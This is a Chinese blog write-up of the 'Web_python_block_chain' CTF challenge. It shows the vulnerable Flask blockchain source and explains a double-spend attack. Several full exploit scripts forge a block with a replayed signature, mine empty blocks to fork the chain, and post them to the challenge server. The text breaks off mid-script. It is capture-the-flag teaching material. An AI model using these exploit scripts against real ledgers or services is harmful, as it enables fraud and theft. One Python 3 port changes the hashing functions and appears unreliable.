devbox
知新_RL
这个屌丝很懒，什么也没留下！
关注作者
热门标签
热门文章
当前位置:   article > 正文

CTF之Web_python_block_chain

作者：知新_RL | 2024-05-31 21:55:51

赞

踩

CTF之Web_python_block_chain

 这种题对于我来说只能看大佬的wp（但是这一题是wp都看不懂，只能表达一下我的理解了）

（最后有简单方法，前面一种没看懂没关系）

下面这一部分是首页的有用部分

 访问/source_code,得到源码：

  1. # -*- encoding: utf-8 -*-
  2. # written in python 2.7
  3. __author__ = 'garzon'
  4.  
  5. import hashlib, json, rsa, uuid, os
  6. from flask import Flask, session, redirect, url_for, escape, request
  7. from pycallgraph import PyCallGraph  
  8. from pycallgraph import Config  
  9. from pycallgraph.output import GraphvizOutput 
  10.  
  11. app = Flask(__name__)
  12. app.secret_key = '*********************'
  13. url_prefix = ''
  14.  
  15. def FLAG():
  16.     return 'Here is your flag: DDCTF{******************}'
  17.  
  18. def hash(x):
  19.     return hashlib.sha256(hashlib.md5(x).digest()).hexdigest()
  20.     
  21. def hash_reducer(x, y):
  22.     return hash(hash(x)+hash(y))
  23.     
  24. def has_attrs(d, attrs):
  25.     if type(d) != type({}): raise Exception("Input should be a dict/JSON")
  26.     for attr in attrs:
  27.         if attr not in d:
  28.             raise Exception("{} should be presented in the input".format(attr))
  29.  
  30. EMPTY_HASH = '0'*64
  31.  
  32. def addr_to_pubkey(address):
  33.     return rsa.PublicKey(int(address, 16), 65537)
  34.     
  35. def pubkey_to_address(pubkey):
  36.     assert pubkey.e == 65537
  37.     hexed = hex(pubkey.n)
  38.     if hexed.endswith('L'): hexed = hexed[:-1]
  39.     if hexed.startswith('0x'): hexed = hexed[2:]
  40.     return hexed
  41.     
  42. def gen_addr_key_pair():
  43.     pubkey, privkey = rsa.newkeys(384)
  44.     return pubkey_to_address(pubkey), privkey
  45.  
  46. bank_address, bank_privkey = gen_addr_key_pair()
  47. hacker_address, hacker_privkey = gen_addr_key_pair()
  48. shop_address, shop_privkey = gen_addr_key_pair()
  49. shop_wallet_address, shop_wallet_privkey = gen_addr_key_pair()
  50.  
  51. def sign_input_utxo(input_utxo_id, privkey):
  52.     return rsa.sign(input_utxo_id, privkey, 'SHA-1').encode('hex')
  53.     
  54. def hash_utxo(utxo):
  55.     return reduce(hash_reducer, [utxo['id'], utxo['addr'], str(utxo['amount'])])
  56.     
  57. def create_output_utxo(addr_to, amount):
  58.     utxo = {'id': str(uuid.uuid4()), 'addr': addr_to, 'amount': amount}
  59.     utxo['hash'] = hash_utxo(utxo)
  60.     return utxo
  61.     
  62. def hash_tx(tx):
  63.     return reduce(hash_reducer, [
  64.         reduce(hash_reducer, tx['input'], EMPTY_HASH),
  65.         reduce(hash_reducer, [utxo['hash'] for utxo in tx['output']], EMPTY_HASH)
  66.     ])
  67.     
  68. def create_tx(input_utxo_ids, output_utxo, privkey_from=None):
  69.     tx = {'input': input_utxo_ids, 'signature': [sign_input_utxo(id, privkey_from) for id in input_utxo_ids], 'output': output_utxo}
  70.     tx['hash'] = hash_tx(tx)
  71.     return tx
  72.     
  73. def hash_block(block):
  74.     return reduce(hash_reducer, [block['prev'], block['nonce'], reduce(hash_reducer, [tx['hash'] for tx in block['transactions']], EMPTY_HASH)])
  75.     
  76. def create_block(prev_block_hash, nonce_str, transactions):
  77.     if type(prev_block_hash) != type(''): raise Exception('prev_block_hash should be hex-encoded hash value')
  78.     nonce = str(nonce_str)
  79.     if len(nonce) > 128: raise Exception('the nonce is too long')
  80.     block = {'prev': prev_block_hash, 'nonce': nonce, 'transactions': transactions}
  81.     block['hash'] = hash_block(block)
  82.     return block
  83.     
  84. def find_blockchain_tail():
  85.     return max(session['blocks'].values(), key=lambda block: block['height'])
  86.     
  87. def calculate_utxo(blockchain_tail):
  88.     curr_block = blockchain_tail
  89.     blockchain = [curr_block]
  90.     while curr_block['hash'] != session['genesis_block_hash']:
  91.         curr_block = session['blocks'][curr_block['prev']]
  92.         blockchain.append(curr_block)
  93.     blockchain = blockchain[::-1]
  94.     utxos = {}
  95.     for block in blockchain:
  96.         for tx in block['transactions']:
  97.             for input_utxo_id in tx['input']:
  98.                 del utxos[input_utxo_id]
  99.             for utxo in tx['output']:
  100.                 utxos[utxo['id']] = utxo
  101.     return utxos
  102.         
  103. def calculate_balance(utxos):
  104.     balance = {bank_address: 0, hacker_address: 0, shop_address: 0}
  105.     for utxo in utxos.values():
  106.         if utxo['addr'] not in balance:
  107.             balance[utxo['addr']] = 0
  108.         balance[utxo['addr']] += utxo['amount']
  109.     return balance
  110.  
  111. def verify_utxo_signature(address, utxo_id, signature):
  112.     try:
  113.         return rsa.verify(utxo_id, signature.decode('hex'), addr_to_pubkey(address))
  114.     except:
  115.         return False
  116.  
  117. def append_block(block, difficulty=int('f'*64, 16)):
  118.     has_attrs(block, ['prev', 'nonce', 'transactions'])
  119.     
  120.     if type(block['prev']) == type(u''): block['prev'] = str(block['prev'])
  121.     if type(block['nonce']) == type(u''): block['nonce'] = str(block['nonce'])
  122.     if block['prev'] not in session['blocks']: raise Exception("unknown parent block")
  123.     tail = session['blocks'][block['prev']]
  124.     utxos = calculate_utxo(tail)
  125.     
  126.     if type(block['transactions']) != type([]): raise Exception('Please put a transaction array in the block')
  127.     new_utxo_ids = set()
  128.     for tx in block['transactions']:
  129.         has_attrs(tx, ['input', 'output', 'signature'])
  130.         
  131.         for utxo in tx['output']:
  132.             has_attrs(utxo, ['amount', 'addr', 'id'])
  133.             if type(utxo['id']) == type(u''): utxo['id'] = str(utxo['id'])
  134.             if type(utxo['addr']) == type(u''): utxo['addr'] = str(utxo['addr'])
  135.             if type(utxo['id']) != type(''): raise Exception("unknown type of id of output utxo")
  136.             if utxo['id'] in new_utxo_ids: raise Exception("output utxo of same id({}) already exists.".format(utxo['id']))
  137.             new_utxo_ids.add(utxo['id'])
  138.             if type(utxo['amount']) != type(1): raise Exception("unknown type of amount of output utxo")
  139.             if utxo['amount'] <= 0: raise Exception("invalid amount of output utxo")
  140.             if type(utxo['addr']) != type(''): raise Exception("unknown type of address of output utxo")
  141.             try:
  142.                 addr_to_pubkey(utxo['addr'])
  143.             except:
  144.                 raise Exception("invalid type of address({})".format(utxo['addr']))
  145.             utxo['hash'] = hash_utxo(utxo)
  146.         tot_output = sum([utxo['amount'] for utxo in tx['output']])
  147.         
  148.         if type(tx['input']) != type([]): raise Exception("type of input utxo ids in tx should be array")
  149.         if type(tx['signature']) != type([]): raise Exception("type of input utxo signatures in tx should be array")
  150.         if len(tx['input']) != len(tx['signature']): raise Exception("lengths of arrays of ids and signatures of input utxos should be the same")
  151.         tot_input = 0
  152.         tx['input'] = [str(i) if type(i) == type(u'') else i for i in tx['input']]
  153.         tx['signature'] = [str(i) if type(i) == type(u'') else i for i in tx['signature']]
  154.         for utxo_id, signature in zip(tx['input'], tx['signature']):
  155.             if type(utxo_id) != type(''): raise Exception("unknown type of id of input utxo")
  156.             if utxo_id not in utxos: raise Exception("invalid id of input utxo. Input utxo({}) does not exist or it has been consumed.".format(utxo_id))
  157.             utxo = utxos[utxo_id]
  158.             if type(signature) != type(''): raise Exception("unknown type of signature of input utxo")
  159.             if not verify_utxo_signature(utxo['addr'], utxo_id, signature):
  160.                 raise Exception("Signature of input utxo is not valid. You are not the owner of this input utxo({})!".format(utxo_id))
  161.             tot_input += utxo['amount']
  162.             del utxos[utxo_id]
  163.         if tot_output > tot_input:
  164.             raise Exception("You don't have enough amount of DDCoins in the input utxo! {}/{}".format(tot_input, tot_output))
  165.         tx['hash'] = hash_tx(tx)
  166.     
  167.     block = create_block(block['prev'], block['nonce'], block['transactions'])
  168.     block_hash = int(block['hash'], 16)
  169.     if block_hash > difficulty: raise Exception('Please provide a valid Proof-of-Work')
  170.     block['height'] = tail['height']+1
  171.     if len(session['blocks']) > 50: raise Exception('The blockchain is too long. Use ./reset to reset the blockchain')
  172.     if block['hash'] in session['blocks']: raise Exception('A same block is already in the blockchain')
  173.     session['blocks'][block['hash']] = block
  174.     session.modified = True
  175.     
  176. def init():
  177.     if 'blocks' not in session:
  178.         session['blocks'] = {}
  179.         session['your_diamonds'] = 0
  180.         # First, the bank issued some DDCoins ...
  181.         total_currency_issued = create_output_utxo(bank_address, 1000000)
  182.         genesis_transaction = create_tx([], [total_currency_issued]) # create DDCoins from nothing
  183.         genesis_block = create_block(EMPTY_HASH, 'The Times 03/Jan/2009 Chancellor on brink of second bailout for bank', [genesis_transaction])
  184.         session['genesis_block_hash'] = genesis_block['hash']
  185.         genesis_block['height'] = 0
  186.         session['blocks'][genesis_block['hash']] = genesis_block
  187.     
  188.         # Then, the bank was hacked by the hacker ...
  189.         handout = create_output_utxo(hacker_address, 999999)
  190.         reserved = create_output_utxo(bank_address, 1)
  191.         transferred = create_tx([total_currency_issued['id']], [handout, reserved], bank_privkey)
  192.         second_block = create_block(genesis_block['hash'], 'HAHA, I AM THE BANK NOW!', [transferred])
  193.         append_block(second_block)
  194.     
  195.         # Can you buy 2 diamonds using all DDCoins?
  196.         third_block = create_block(second_block['hash'], 'a empty block', [])
  197.         append_block(third_block)
  198.         
  199. def get_balance_of_all():
  200.     init()
  201.     tail = find_blockchain_tail()
  202.     utxos = calculate_utxo(tail)
  203.     return calculate_balance(utxos), utxos, tail
  204.     
  205. @app.route(url_prefix+'/')
  206. def homepage():
  207.     announcement = 'Announcement: The server has been restarted at 21:45 04/17. All blockchain have been reset. '
  208.     balance, utxos, _ = get_balance_of_all()
  209.     genesis_block_info = 'hash of genesis block: ' + session['genesis_block_hash']
  210.     addr_info = 'the bank\'s addr: ' + bank_address + ', the hacker\'s addr: ' + hacker_address + ', the shop\'s addr: ' + shop_address
  211.     balance_info = 'Balance of all addresses: ' + json.dumps(balance)
  212.     utxo_info = 'All utxos: ' + json.dumps(utxos)
  213.     blockchain_info = 'Blockchain Explorer: ' + json.dumps(session['blocks'])
  214.     view_source_code_link = "<a href='source_code'>View source code</a>"
  215.     return announcement+('<br /><br />\r\n\r\n'.join([view_source_code_link, genesis_block_info, addr_info, balance_info, utxo_info, blockchain_info]))
  216.     
  217.     
  218. @app.route(url_prefix+'/flag')
  219. def getFlag():
  220.     init()
  221.     if session['your_diamonds'] >= 2: return FLAG()
  222.     return 'To get the flag, you should buy 2 diamonds from the shop. You have {} diamonds now. To buy a diamond, transfer 1000000 DDCoins to '.format(session['your_diamonds']) + shop_address
  223.     
  224. def find_enough_utxos(utxos, addr_from, amount):
  225.     collected = []
  226.     for utxo in utxos.values():
  227.         if utxo['addr'] == addr_from:
  228.             amount -= utxo['amount']
  229.             collected.append(utxo['id'])
  230.         if amount <= 0: return collected, -amount
  231.     raise Exception('no enough DDCoins in ' + addr_from)
  232.     
  233. def transfer(utxos, addr_from, addr_to, amount, privkey):
  234.     input_utxo_ids, the_change = find_enough_utxos(utxos, addr_from, amount)
  235.     outputs = [create_output_utxo(addr_to, amount)]
  236.     if the_change != 0:
  237.         outputs.append(create_output_utxo(addr_from, the_change))
  238.     return create_tx(input_utxo_ids, outputs, privkey)
  239.     
  240. @app.route(url_prefix+'/5ecr3t_free_D1diCoin_b@ckD00r/<string:address>')
  241. def free_ddcoin(address):
  242.     balance, utxos, tail = get_balance_of_all()
  243.     if balance[bank_address] == 0: return 'The bank has no money now.'
  244.     try:
  245.         address = str(address)
  246.         addr_to_pubkey(address) # to check if it is a valid address
  247.         transferred = transfer(utxos, bank_address, address, balance[bank_address], bank_privkey)
  248.         new_block = create_block(tail['hash'], 'b@cKd00R tr1993ReD', [transferred])
  249.         append_block(new_block)
  250.         return str(balance[bank_address]) + ' DDCoins are successfully sent to ' + address
  251.     except Exception, e:
  252.         return 'ERROR: ' + str(e)
  253.  
  254. DIFFICULTY = int('00000' + 'f' * 59, 16)
  255. @app.route(url_prefix+'/create_transaction', methods=['POST'])
  256. def create_tx_and_check_shop_balance():
  257.     init()
  258.     try:
  259.         block = json.loads(request.data)
  260.         append_block(block, DIFFICULTY)
  261.         msg = 'transaction finished.'
  262.     except Exception, e:
  263.         return str(e)
  264.         
  265.     balance, utxos, tail = get_balance_of_all()
  266.     if balance[shop_address] == 1000000:
  267.         # when 1000000 DDCoins are received, the shop will give you a diamond
  268.         session['your_diamonds'] += 1
  269.         # and immediately the shop will store the money somewhere safe.
  270.         transferred = transfer(utxos, shop_address, shop_wallet_address, balance[shop_address], shop_privkey)
  271.         new_block = create_block(tail['hash'], 'save the DDCoins in a cold wallet', [transferred])
  272.         append_block(new_block)
  273.         msg += ' You receive a diamond.'
  274.     return msg
  275.     
  276.         
  277. # if you mess up the blockchain, use this to reset the blockchain.
  278. @app.route(url_prefix+'/reset')
  279. def reset_blockchain():
  280.     if 'blocks' in session: del session['blocks']
  281.     if 'genesis_block_hash' in session: del session['genesis_block_hash']
  282.     return 'reset.'
  283.     
  284. @app.route(url_prefix+'/source_code')
  285. def show_source_code():
  286.     source = open('serve.py', 'r')
  287.     html = ''
  288.     for line in source:
  289.         html += line.replace('&','&amp;').replace('\t', '&nbsp;'*4).replace(' ','&nbsp;').replace('<', '&lt;').replace('>','&gt;').replace('\n', '<br />')
  290.     source.close()
  291.     return html
  292.     
  293. if __name__ == '__main__':
  294.     app.run(debug=False, host='0.0.0.0')

 下面是大佬对题的解释（看不懂）

51% 双花攻击

    这道题整的解法是 51% （双花）攻击。
    请于正常的区块链区分开来，题目环境中只有你一个玩家，并没有人与你竞争（挖矿）。
    商店交易采用0确认，而不是现实中的6确认。
    当出现分叉时，区块链的规则认最长的分链为主链，并舍去原有的链。
    区块链允许添加空块
    51%（双花）攻击可以达到的目的就是使攻击前的交易作废，这里的前不一定是前一个，而是很大程度上取决于你的算力的。让之前的交易作废有什么好处呢？这里我们就要考虑0确认和6确认的区别了。

先看看6确认：

当产生一笔交易时，区块链的P2P网络会广播这笔交易，这笔交易会被一个挖矿节点收到，并验证，如果这个挖矿节点挖到区块（生成的hash满足条件）后，并且这笔交易的手续费足够吸引这个节点去打包进区块，那这笔交易就会被打包进区块。因此就得到了一个确认，这个矿工也拿走了相应的手续费。 这个挖矿节点打包后，会把区块广播给其他节点。其他节点验证并广播这个区块。 如果这个区块得到更多的挖矿节点的验证确认，那就得到了更多的确认。这样这笔交易就被记录到了比特币区块链，并成为了比特币账本的一部分。如果得到6个确认后，我们就认为它永远不可变了。

0确认就同样的道理了，那就是不需要别人确认，就如我们生活中的一手交钱一手交货，不同的是生活中我们处于中心化社会，银行会帮我们确认。而6确认就是需要经过6个人(区块被挖出)交易才确定。

可以看到对0确认和6确认进行51%(双花)攻击的难度是不一样的，6确认需要的算力明显要大，因为他要多比其他人生成6个区块。（应该可以这样理解吧，可能我还需要继续学习，如上，如有不对可以联系我(jay80#protonmail.com)改正，在这也谢谢各位大佬了。）好在，题目并不是采用6确认。

然后再看看这里的51% 攻击，其实这里说的51%是指算力，也就是这种攻击需要攻击者具备全网51%的算力，因为这样才有机会使自己生成（挖出）区块的速度超过其他人，然后按区块链的规则：当出现分叉时，区块链的规则认最长的分链为主链，并舍去原有的链，就达到了撤销原来链上已经存在的交易，拿回该交易使用了的钱的目的，这里我的另一个理解就是可以使交易回滚，从而追回被盗的钱。

 

 原理上明白了以后，我们就开始从代码上进行实际攻击。首先我们先看一下一个标准的区块是咋样的，下面其实就是黑客盗取银行的区块：

就是第一张图里的东西，自己整理一下方便看就行了

  1. {
  2.     "nonce": "HAHA, I AM THE BANK NOW!",
  3.     "prev": "13bfff8cdedf1d81f4103ca8349fc26eff17b446bcb3cdbee845d101f20f11b9",
  4.     "hash": "fe69dbe81d51b49101ea8b6be4a4ef118992d2a94dd7b16016e27e40b0da17f0", 
  5.     "transactions": 
  6.     [
  7.         {"input": ["ad8b4d4a-138b-4eb0-8fb3-f963646370e3"],
  8.         "signature"：                        ["809bc81884ea06f16cbccc1f0ce39f0dbbdcd0912541d50ba394b5496888a1c437d59f31b7014b2aace6a5188025bc3f"], 
  9.            "hash": "c1d88d88f49d69fddb81397b5f99652508c87647e7ee843a287f3e9184e78c6a", 
  10.         "output": [{"amount": 999999,
  11.          "hash": "dbb6c731b3d5d92432683cb2913a5bee17846b5d512534f105429ebf0ecb94e7", 
  12.         "addr": "8ab9eb40808cbff9e8b0144319032f2ed052b13053f7c43d258f107aaaf3e5b75aedbad2ad5e4154d581ebb2e426e0d5",
  13.          "id": "d41f5c34-ab18-4c7e-b416-c6460483d816"}, 
  14.         {"amount": 1,
  15.          "hash": "529dc4771c28f768ae873a384ce7824aed48e02344cec0da67a56d78cf9b014f",  
  16.                 "addr":"d1936e6b7dbc07f838cf255022ad83b877c1a91a3d87e6df479295ae5a0cb2e80106a2ad15b93da51a73d34a6ff0806b"， 
  17. "id": "a737ab47-fde4-47f3-a058-5b6acbfc3c7c"}
  18.         ]
  19.             ],
  20.  "height": 1}
  21. }

按照流程，我们应该构造一个转钱给商店的区块。但通过代码，我们可以发现转账的时候是需要私钥签名的，也就是这个signature段。 

 

 这些信息我们可以通过黑客留下的signature直接绕过，并且上一步的input也可以从黑客的区块中得到。所以我们就可以直接构造转账给商店的区块了，并且通过51%攻击使黑客转走的钱追回。

后续访问 传参需要访问 "http://61.147.171.105:63520/signature/create_transaction"需要用到signature（需要解码后使用，但是太麻烦了所以我没用这个）

 

下面直接放出大佬完整的payload脚本，需要特别提醒的是要注意每个区块的prev。

  1. # -*- coding: utf-8 -*-
  2. import json, uuid, hashlib
  3. import random,string
  4.  
  5. EMPTY_HASH = '0' * 64
  6. DIFFICULTY = int('00000' + 'f' * 59, 16)
  7.  
  8. def hash(x):
  9.     return hashlib.sha256(hashlib.md5(x).digest()).hexdigest()
  10.  
  11. def hash_reducer(x, y):
  12.     return hash(hash(x) + hash(y))
  13.  
  14. # 对 output 进行hash
  15. def hash_utxo(utxo):
  16.     return reduce(hash_reducer, [utxo['id'], utxo['addr'], str(utxo['amount'])])
  17.  
  18. def create_output_utxo(addr_to, amount):
  19.     utxo = {'id': str(uuid.uuid4()), 'addr': addr_to, 'amount': amount}
  20.     utxo['hash'] = str(hash_utxo(utxo))
  21.     return utxo
  22.  
  23. # 对 transactions 进行hash
  24. def hash_tx(tx):
  25.     return reduce(hash_reducer, [
  26.         reduce(hash_reducer, tx['input'], EMPTY_HASH),
  27.         reduce(hash_reducer, [utxo['hash'] for utxo in tx['output']], EMPTY_HASH)
  28.     ])
  29.  
  30. #对整个块 hash
  31. def hash_block(block):
  32.     return reduce(hash_reducer, [block['prev'], block['nonce'],
  33.                                  reduce(hash_reducer, [tx['hash'] for tx in block['transactions']], EMPTY_HASH)])
  34.  
  35. prev = "5bc355ab21fd7e07040e2882f36ff8fba90809cbaa27b80bc1439a6e85beec25"
  36. input = ["e95c5a89-3f0e-4bd6-a4bc-8ff006fa2a42"]
  37. signature = ['8cf74260504449ce72c537b587b534c7f93e459d97898faea8a3a68622bbe01f2117fba4cfd3cff69f12e209d74cf87c']
  38.  
  39.  
  40. address = 'b81ff6d961082076f3801190a731958aec88053e8191258b0ad9399eeecd8306924d2d2a047b5ec1ed8332bf7a53e735'
  41. output = [create_output_utxo(address,1000000)]
  42.  
  43. transactions = {
  44.         "input":input,
  45.         "signature":signature,
  46.         "output":output
  47.     }
  48.  
  49. # 对 transactions 进行签名
  50. hash_transactions = hash_tx(transactions)
  51. transactions['hash'] = str(hash_transactions)
  52. # 爆破（挖矿，找到满足条件的hash）
  53. def fuzz(block, size=20):
  54.     CHARS = string.letters + string.digits
  55.     while True:
  56.         rnds = ''.join(random.choice(CHARS) for _ in range(size))
  57.         block['nonce'] = rnds
  58.         block_hash = str(hash_block(block))
  59.         # 转换成 16 进制
  60.         tmp_hash = int(block_hash, 16)
  61.         # POW 验证工作
  62.         if tmp_hash < DIFFICULTY:
  63.             block['hash'] = block_hash
  64.             return block
  65.  
  66. # 创建符合条件的块
  67. block = {
  68.     "prev":prev,
  69.     "transactions":[transactions]
  70. }
  71. ok_block = fuzz(block)
  72. print(json.dumps(ok_block))
  73. # 创建一个空块
  74. empty_tmp = {
  75.     "prev" : ok_block['hash'],
  76.     "transactions" : []
  77. }
  78. empty_block1 = fuzz(empty_tmp)
  79. print(json.dumps(empty_block1))
  80.  
  81. empty_tmp = {
  82.     "prev" : empty_block1['hash'],
  83.     "transactions" : []
  84. }
  85. empty_block2 = fuzz(empty_tmp)
  86. print(json.dumps(empty_block2))
  87.  
  88. empty_tmp = {
  89.     "prev" : empty_block2['hash'],
  90.     "transactions" : []
  91. }
  92. empty_block3 = fuzz(empty_tmp)
  93. print(json.dumps(empty_block3))
  94.  
  95. empty_tmp = {
  96.     "prev" : empty_block3['hash'],
  97.     "transactions" : []
  98. }
  99. empty_block4 = fuzz(empty_tmp)
  100. print(json.dumps(empty_block4))

运行后会得到5个区块，然后依次post就可以了

（搞不懂为什么大佬都喜欢用python2，害得我安装了一天的python2，最后却因为python2的很多模块已经停止维护了，需要自己修改调试，所以就失败了。然后我就将源码修改成了python3）

注（这个代码的adderss：是http：//url/flag下的账号）

下面是我的py3代码

  1. import json
  2. import uuid
  3. import hashlib
  4. import random
  5. import string
  6. import functools
  7.  
  8. EMPTY_HASH = '0' * 64
  9. DIFFICULTY = int('00000' + 'f' * 59, 16)
  10.  
  11. def hash(x):
  12.     return hashlib.sha256(x).hexdigest()
  13.  
  14. def hash_reducer(x, y):
  15.     return hash(x.encode() + y.encode())
  16.  
  17. def hash_utxo(utxo):
  18.     return functools.reduce(hash_reducer, [utxo['id'], utxo['addr'], str(utxo['amount'])])
  19.  
  20. def create_output_utxo(addr_to, amount):
  21.     utxo = {'id': str(uuid.uuid4()), 'addr': addr_to, 'amount': amount}
  22.     utxo['hash'] = str(hash_utxo(utxo))
  23.     return utxo
  24.  
  25. def hash_tx(tx):
  26.     return functools.reduce(hash_reducer, [
  27.         functools.reduce(hash_reducer, tx['input'], EMPTY_HASH),
  28.         functools.reduce(hash_reducer, [utxo['hash'] for utxo in tx['output']], EMPTY_HASH)
  29.     ])
  30.  
  31. def hash_block(block):
  32.     return functools.reduce(hash_reducer, [block['prev'], block['nonce'],
  33.                                            functools.reduce(hash_reducer, [tx['hash'] for tx in block['transactions']], EMPTY_HASH)])
  34.  
  35. prev = "13bfff8cdedf1d81f4103ca8349fc26eff17b446bcb3cdbee845d101f20f11b9"
  36. input_id = ["ad8b4d4a-138b-4eb0-8fb3-f963646370e3"]
  37. signature = ["809bc81884ea06f16cbccc1f0ce39f0dbbdcd0912541d50ba394b5496888a1c437d59f31b7014b2aace6a5188025bc3f"]
  38.  
  39. address = '8dde0388d3ec4b146adc3e9eebcfa2f87d1b22207bdac08f9386cb6f962361704d446e622d9f56070340facb04fc8b15'
  40. output = [create_output_utxo(address, 1000000)]
  41.  
  42. transactions = {
  43.     "input": input_id,
  44.     "signature": signature,
  45.     "output": output
  46. }
  47.  
  48. hash_transactions = hash_tx(transactions)
  49. transactions['hash'] = str(hash_transactions)
  50.  
  51. def fuzz(block, size=20):
  52.     CHARS = string.ascii_letters + string.digits
  53.     while True:
  54.         rnds = ''.join(random.choice(CHARS) for _ in range(size))
  55.         block['nonce'] = rnds
  56.         block_hash = str(hash_block(block))
  57.         tmp_hash = int(block_hash, 16)
  58.         if tmp_hash < DIFFICULTY:
  59.             block['hash'] = block_hash
  60.             return block
  61.  
  62. block = {
  63.     "prev": prev,
  64.     "transactions": [transactions]
  65. }
  66. ok_block = fuzz(block)
  67. print(json.dumps(ok_block))
  68.  
  69. empty_tmp = {
  70.     "prev": ok_block['hash'],
  71.     "transactions": []
  72. }
  73. empty_block1 = fuzz(empty_tmp)
  74. print(json.dumps(empty_block1))
  75.  
  76. empty_tmp = {
  77.     "prev": empty_block1['hash'],
  78.     "transactions": []
  79. }
  80. empty_block2 = fuzz(empty_tmp)
  81. print(json.dumps(empty_block2))
  82.  
  83. empty_tmp = {
  84.     "prev": empty_block2['hash'],
  85.     "transactions": []
  86. }
  87. empty_block3 = fuzz(empty_tmp)
  88. print(json.dumps(empty_block3))
  89.  
  90. empty_tmp = {
  91.     "prev": empty_block3['hash'],
  92.     "transactions": []
  93. }
  94. empty_block4 = fuzz(empty_tmp)
  95. print(json.dumps(empty_block4))

 运行后如下

 

 会生成五个区块，分别以post方式传入，再访问url/flag可以得到flag

 我们还可以使用大佬py2脚本，直接获得flag（后面有我的python3代码）

  1. # -*- encoding: utf-8 -*-
  2. # written in python 2.7
  3. import hashlib, json, rsa, uuid, os,requests,re
  4.  
  5. # 一堆变量常量
  6.  
  7. url_root="http://220.249.52.133:58044"
  8. url_create="http://220.249.52.133:58044/create_transaction"
  9. url_flag="http://220.249.52.133:58044/flag"
  10.  
  11. s=requests.Session()
  12. ddcoin = s.get(url=url_root)
  13.  
  14. prev_one=re.search(r"hash of genesis block: ([0-9a-f]{64})",ddcoin.content, flags=0).group(1)
  15. bank_utox_id=re.search(r"\"input\": \[\"([0-9a-f\-]{36})",ddcoin.content, flags=0).group(1)
  16. bank_signature=re.search(r"\"signature\": \[\"([0-9a-f]{96})",ddcoin.content, flags=0).group(1)
  17.  
  18. DIFFICULTY = int('00000' + 'f' * 59, 16)
  19. EMPTY_HASH = '0'*64
  20.  
  21. bank_addr="8aaa41fad552f9a2231bba5242c58df16da1840979e37f0a20d5912ca829d240df4a992bd6518123a1c7034844448465"
  22. hacke_addr="a4e4ec9827a53e8cf88d5eda99a3b965c8ae8eb334c5863fb874f554ce80ebf814f510fe3aef1c5a6dfb64c3bd7de1ab"
  23. shop_addr="9095cbe784e2c97c5076a9806171056356b8ee5d26ca9343af25e2a036a2301a82581c0044eee5c15cf3de9a2655e85b"
  24.  
  25. # 源码中的API
  26.  
  27. def hash(x):
  28.     return hashlib.sha256(hashlib.md5(x).digest()).hexdigest()
  29.  
  30. def hash_reducer(x, y):
  31.     return hash(hash(x)+hash(y))
  32.  
  33. def hash_block(block):
  34.     return reduce(hash_reducer, [block['prev'], block['nonce'], reduce(hash_reducer, [tx['hash'] for tx in block['transactions']], EMPTY_HASH)])
  35.  
  36. def hash_utxo(utxo):
  37.     return reduce(hash_reducer, [utxo['id'], utxo['addr'], str(utxo['amount'])])
  38.  
  39. def hash_tx(tx):
  40.     return reduce(hash_reducer, [
  41.         reduce(hash_reducer, tx['input'], EMPTY_HASH),
  42.         reduce(hash_reducer, [utxo['hash'] for utxo in tx['output']], EMPTY_HASH)
  43.     ])
  44.  
  45. def create_output_utxo(addr_to, amount):
  46.     utxo = {'id': str(uuid.uuid4()), 'addr': addr_to, 'amount': amount}
  47.     utxo['hash'] = hash_utxo(utxo)
  48.     return utxo
  49.  
  50. def create_tx(input_utxo_ids, output_utxo, privkey_from=None):
  51.     tx = {'input': input_utxo_ids, 'signature':[bank_signature], 'output': output_utxo}  # 修改了签名
  52.     tx['hash'] = hash_tx(tx)
  53.     return tx
  54.  
  55. def create_block(prev_block_hash, nonce_str, transactions):
  56.     if type(prev_block_hash) != type(''): raise Exception('prev_block_hash should be hex-encoded hash value')
  57.     nonce = str(nonce_str)
  58.     if len(nonce) > 128: raise Exception('the nonce is too long')
  59.     block = {'prev': prev_block_hash, 'nonce': nonce, 'transactions': transactions}
  60.     block['hash'] = hash_block(block)
  61.     return block
  62.  
  63.  
  64. # 构造的方法
  65.  
  66. def check_hash(prev,tx):
  67.     for i in range(10000000):
  68.         current_block=create_block(prev,str(i),tx)
  69.         block_hash = int(current_block['hash'], 16)
  70.         if block_hash<DIFFICULTY:
  71.             print json.dumps(current_block)
  72.             return current_block
  73.  
  74. def create_feak_one():
  75.     utxo_first=create_output_utxo(shop_addr,1000000)
  76.     tx_first=create_tx([bank_utox_id],[utxo_first])
  77.     return check_hash(prev_one,[tx_first])
  78.  
  79. def create_empty_block(prev):
  80.     return check_hash(prev,[])
  81.  
  82.  
  83. # 攻击过程
  84.  
  85. a=create_feak_one()
  86. print s.post(url=url_create,data=str(json.dumps(a))).content
  87. b=create_empty_block(a['hash'])
  88. print s.post(url=url_create,data=str(json.dumps(b))).content
  89. c=create_empty_block(b['hash'])
  90. print s.post(url=url_create,data=str(json.dumps(c))).content
  91. d=create_empty_block(c['hash'])
  92. print s.post(url=url_create,data=str(json.dumps(d))).content
  93. e=create_empty_block(d['hash'])
  94. print s.post(url=url_create,data=str(json.dumps(e))).content
  95. print s.get(url=url_flag).content

标注的地方记得替换直接的url和addr

  1. import hashlib
  2. import json
  3. import rsa
  4. import uuid
  5. import os
  6. import requests
  7. import re
  8. from functools import reduce
  9. #记得修改
  10. url_root = "http://61.147.171.105:63520/"
  11. url_create = "http://61.147.171.105:63520/create_transaction"
  12. url_flag = "http://61.147.171.105:63520/flag"
  13.  
  14. s = requests.Session()
  15. ddcoin = s.get(url=url_root)
  16.  
  17. prev_one = re.search(r"hash of genesis block: ([0-9a-f]{64})", ddcoin.content.decode(), flags=0).group(1)
  18. bank_utox_id = re.search(r"\"input\": \[\"([0-9a-f\-]{36})", ddcoin.content.decode(), flags=0).group(1)
  19. bank_signature = re.search(r"\"signature\": \[\"([0-9a-f]{96})", ddcoin.content.decode(), flags=0).group(1)
  20.  
  21. DIFFICULTY = int('00000' + 'f' * 59, 16)
  22. EMPTY_HASH = '0'*64
  23. #这里也要
  24. bank_addr = "b244757baa7cd4071deba24da53ddfb2e5d763563fa57c5653ccfa6e7545e3369cbaf9a1c41d9951b1f1a39b78e0528d"
  25. hacke_addr = "8a537f7f1a39857e567640f6cc530dc64732062dec8fa5d93643be53496ae08d9738afed66925018bcd4f8980841f61d"
  26. shop_addr = "8dde0388d3ec4b146adc3e9eebcfa2f87d1b22207bdac08f9386cb6f962361704d446e622d9f56070340facb04fc8b15"
  27.  
  28. # 源码中的API
  29.  
  30. def hash(x):
  31.     return hashlib.sha256(hashlib.md5(x.encode()).digest()).hexdigest()
  32.  
  33. def hash_reducer(x, y):
